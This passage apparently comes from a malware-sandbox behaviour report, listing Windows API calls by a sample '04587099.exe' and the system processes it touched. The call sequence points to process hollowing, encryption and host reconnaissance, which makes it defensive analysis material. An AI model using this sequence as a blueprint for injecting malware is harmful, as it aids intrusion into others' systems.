00000000-00007000) "04587099.exe" called "BCryptDecrypt" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtWriteFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtSetInformationFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtReadVirtualMemory" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtTerminateProcess" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "RtlGetNtProductType" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "RtlGetVersion" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "InternetOpenA" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "InternetOpenW" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "InternetReadFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryInformationToken" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtOpenKeyEx" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQueryValueKey" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtOpenFile" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtSetInformationKey" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQueryKey" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQueryInformationFile" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtEnumerateKey" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtEnumerateValueKey" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtProtectVirtualMemory" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtOpenThread" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtResumeThread" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQueryAttributesFile" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtCreateSection" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtMapViewOfSection" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtOpenSection" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtSetInformationProcess" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQueryInformationProcess" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "LdrGetDllHandle" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQuerySystemInformation" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "LdrLoadDll" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "LoadLibrary" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQueryVirtualMemory" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtUnmapViewOfSection" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtSuspendThread" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtGetContextThread" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtConnectPort" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtRequestWaitReplyPort" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtCreateUserProcess" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtOpenProcessToken" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "LdrUnloadDll" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtQueryLicenseValue" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtWriteVirtualMemory" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtReadVirtualMemory" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtSetContextThread" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtSetInformationThread" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "NtTerminateProcess" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "RtlGetVersion" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "RtlGetNtProductType" (PID: 4740) (UID: 00000000-00004740) "04587099.exe" called "CreateProcessA" (PID: 4740) (UID: 00000000-00004740) "lsass.exe" called "NtOpenKeyEx" (PID: 628) (UID: 00000000-00000628) "lsass.exe" called "NtQueryValueKey" (PID: 628) (UID: 00000000-00000628) "lsass.exe" called "NtQueryKey" (PID: 628) (UID: 00000000-00000628) "lsass.exe" called "NtEnumerateKey" (PID: 628) (UID: 00000000-00000628) "lsass.exe" called "NtSetValueKey" (PID: 628) (UID: 00000000-00000628) "lsass.exe" called "NtEnumerateValueKey" (PID: 628) (UID: 00000000-00000628) "lsass.exe" called "NtCreateKeyEx" (PID: 628) (UID: 00000000-00000628) "lsass.exe" called "NtTerminateProcess" (PID: 628) (UID: 00000000-00000628) "svchost.exe" called "NtOpenKeyEx" (PID: 884) (UID: 00000000-00000884) "svchost.exe" called "NtQueryKey" (PID: 884) (UID: 00000000-00000884) "svchost.exe" called "NtQueryValueKey" (PID: 884) (UID: 00000000-00000884) "svchost.exe" called "NtQueryValueKey" (PID: 812) (UID: 00000000-00000812) "svchost.exe" called "NtOpenKeyEx" (PID: 812) (UID: 00000000-00000812) "svchost.exe" called "NtQueryInformationFile" (PID: 812) (UID: 00000000-00000812) "svchost.exe" called "NtCreateUserProcess" (PID: 812) (UID: 00000000-00000812) "svchost.exe" called "NtOpenFile" (PID: 812) (UID: 00000000-00000812) "svchost.exe" called "NtQueryKey" (PID: 812) (UID: 00000000-00000812) "svchost.exe" called "NtSetInformationKey" (PID: 812) (UID: 00000000-00000812) "04587099.exe" called "NtQueryInformationToken" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenKeyEx" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryValueKey" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtSetInformationKey" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryInformationFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryKey" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtEnumerateKey" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtEnumerateValueKey" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtProtectVirtualMemory" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenThread" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtResumeThread" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryAttributesFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtCreateSection" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtMapViewOfSection" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtSetInformationProcess" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "LdrLoadDll" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "LoadLibrary" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "LdrGetDllHandle" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryVirtualMemory" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryInformationProcess" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenSection" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryLicenseValue" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenThreadToken" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenProcessToken" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenEvent" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQuerySystemInformation" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtCreateEvent" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenDirectoryObject" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "RpcStringBindingComposeW" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtAlpcConnectPortEx" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtAlpcSendWaitReceivePort" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtAlpcConnectPort" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtSetInformationThread" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtNotifyChangeKey" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtOpenProcess" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "LdrUnloadDll" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtDeviceIoControlFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueueApcThread" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtDelayExecution" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtCreateMutant" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtCreateFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtWaitForMultipleObjects" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtCreateKeyEx" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtQueryObject" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtSetValueKey" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtUnmapViewOfSection" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtCreateThreadEx" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtSuspendThread" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtGetContextThread" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "BCryptEncrypt" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "BCryptDecrypt" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtReadVirtualMemory" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "CryptAcquireContextW" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "CryptHashData" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtReadFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtConnectPort" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtRequestWaitReplyPort" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtWriteFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtYieldExecution" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "GetVersionExA" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtSetInformationFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "NtTerminateProcess" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "RtlGetNtProductType" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "RtlGetVersion" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "InternetOpenA" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "InternetOpenW" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "InternetReadFile" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "GetAdaptersInfo" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "GetUserNameW" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "GetDriveTypeA" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "FindNextFileW" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "FindFirstFileW" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "GetForegroundWindow" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "Process32FirstW" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "Process32NextW" (PID: 5728) (UID: 00000000-00005728) "04587099.exe" called "GetComputerNameW" (PID: 5728) (UID: 00000000-00005728) "DllHost.exe" called "NtOpenKeyEx" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQueryValueKey" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQueryKey" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtSetInformationKey" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtOpenFile" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQueryInformationFile" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtProtectVirtualMemory" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtOpenThread" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtResumeThread" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQueryAttributesFile" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtCreateSection" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtMapViewOfSection" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQueryVolumeInformationFile" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtRequestWaitReplyPort" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtOpenSection" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtAllocateVirtualMemory" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtSetInformationProcess" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "LdrLoadDll" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQueryInformationProcess" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQuerySystemInformation" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "LdrGetDllHandle" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtOpenProcessToken" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "LoadLibrary" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQueryVirtualMemory" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtUnmapViewOfSection" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtSuspendThread" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtGetContextThread" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtCreateEvent" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtOpenThreadToken" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtQueryInformationToken" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtOpenEvent" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtWaitForMultipleObjects" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtNotifyChangeKey" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtOpenDirectoryObject" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtAlpcConnectPort" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtAlpcSendWaitReceivePort" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "RpcStringBindingComposeW" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtAlpcConnectPortEx" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtSetInformationThread" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "RpcServerUseProtseqEpW" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtCreateMutant" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtCreateThreadEx" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtDeviceIoControlFile" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtCreateKeyEx" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "LdrUnloadDll" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtDelayExecution" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtTerminateProcess" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "RtlGetVersion" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "RtlGetNtProductType" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "CreateToolhelp32Snapshot" (PID: 5584) (UID: 00000000-00005584) "DllHost.exe" called "NtOpenKeyEx" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQueryValueKey" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQueryKey" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtSetInformationKey" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtOpenFile" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQueryInformationFile" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtProtectVirtualMemory" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtOpenThread" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtResumeThread" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQueryAttributesFile" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtCreateSection" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtMapViewOfSection" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQueryVolumeInformationFile" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtRequestWaitReplyPort" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtOpenSection" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtAllocateVirtualMemory" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtSetInformationProcess" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "LdrLoadDll" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQueryInformationProcess" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQuerySystemInformation" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "LdrGetDllHandle" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtOpenProcessToken" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "LoadLibrary" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQueryVirtualMemory" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtUnmapViewOfSection" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtSuspendThread" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtGetContextThread" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtCreateEvent" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtOpenThreadToken" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtQueryInformationToken" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtOpenEvent" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtWaitForMultipleObjects" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtNotifyChangeKey" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtOpenDirectoryObject" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtAlpcConnectPort" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtAlpcSendWaitReceivePort" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "RpcStringBindingComposeW" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtAlpcConnectPortEx" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtSetInformationThread" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "RpcServerUseProtseqEpW" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtCreateMutant" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtCreateThreadEx" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtDeviceIoControlFile" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtCreateKeyEx" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "LdrUnloadDll" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtDelayExecution" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtTerminateProcess" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "RtlGetVersion" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "RtlGetNtProductType" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "CreateToolhelp32Snapshot" (PID: 5832) (UID: 00000000-00005832) "DllHost.exe" called "NtOpenKeyEx" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQueryValueKey" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQueryKey" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtSetInformationKey" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtOpenFile" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQueryInformationFile" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtProtectVirtualMemory" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtOpenThread" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtResumeThread" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQueryAttributesFile" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtCreateSection" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtMapViewOfSection" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQueryVolumeInformationFile" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtRequestWaitReplyPort" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtOpenSection" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtAllocateVirtualMemory" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtSetInformationProcess" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "LdrLoadDll" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQueryInformationProcess" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQuerySystemInformation" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtOpenProcessToken" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "LdrGetDllHandle" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "LoadLibrary" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQueryVirtualMemory" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtUnmapViewOfSection" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtSuspendThread" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtGetContextThread" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtCreateEvent" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtOpenThreadToken" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtQueryInformationToken" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtOpenEvent" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtWaitForMultipleObjects" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtNotifyChangeKey" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtOpenDirectoryObject" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtAlpcConnectPort" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtAlpcSendWaitReceivePort" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "RpcStringBindingComposeW" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtAlpcConnectPortEx" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtSetInformationThread" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "RpcServerUseProtseqEpW" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtCreateMutant" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtCreateThreadEx" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtDeviceIoControlFile" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtCreateKeyEx" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "LdrUnloadDll" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtDelayExecution" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "NtTerminateProcess" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "RtlGetVersion" (PID: 6148) (UID: 00000000-00006148) "DllHost.exe" called "RtlGetNtProductType" (PID: 6148) (UID: 00000000-00006148) "04587099.exe" called "NtQueryInformationToken" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtOpenKeyEx" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryValueKey" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtOpenFile" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtSetInformationKey" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryKey" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryInformationFile" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtEnumerateKey" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtEnumerateValueKey" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtProtectVirtualMemory" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtOpenThread" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtResumeThread" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryAttributesFile" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtCreateSection" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtMapViewOfSection" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtOpenSection" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtSetInformationProcess" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryInformationProcess" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "LdrGetDllHandle" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQuerySystemInformation" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "LdrLoadDll" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "LoadLibrary" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryVirtualMemory" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtUnmapViewOfSection" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtSuspendThread" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtGetContextThread" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtConnectPort" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtRequestWaitReplyPort" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtCreateUserProcess" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtOpenProcessToken" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "LdrUnloadDll" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryLicenseValue" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtWriteVirtualMemory" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtReadVirtualMemory" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtSetContextThread" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtSetInformationThread" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtTerminateProcess" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "RtlGetVersion" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "RtlGetNtProductType" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "CreateProcessA" (PID: 5792) (UID: 00000000-00005792) "04587099.exe" called "NtQueryInformationToken" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenKeyEx" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQueryValueKey" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtOpenFile" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtSetInformationKey" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQueryInformationFile" (PID: 4284) (UID: 00000000-00004284) "04587099.exe" called "NtQueryKey" (PID: 4284) (UID: 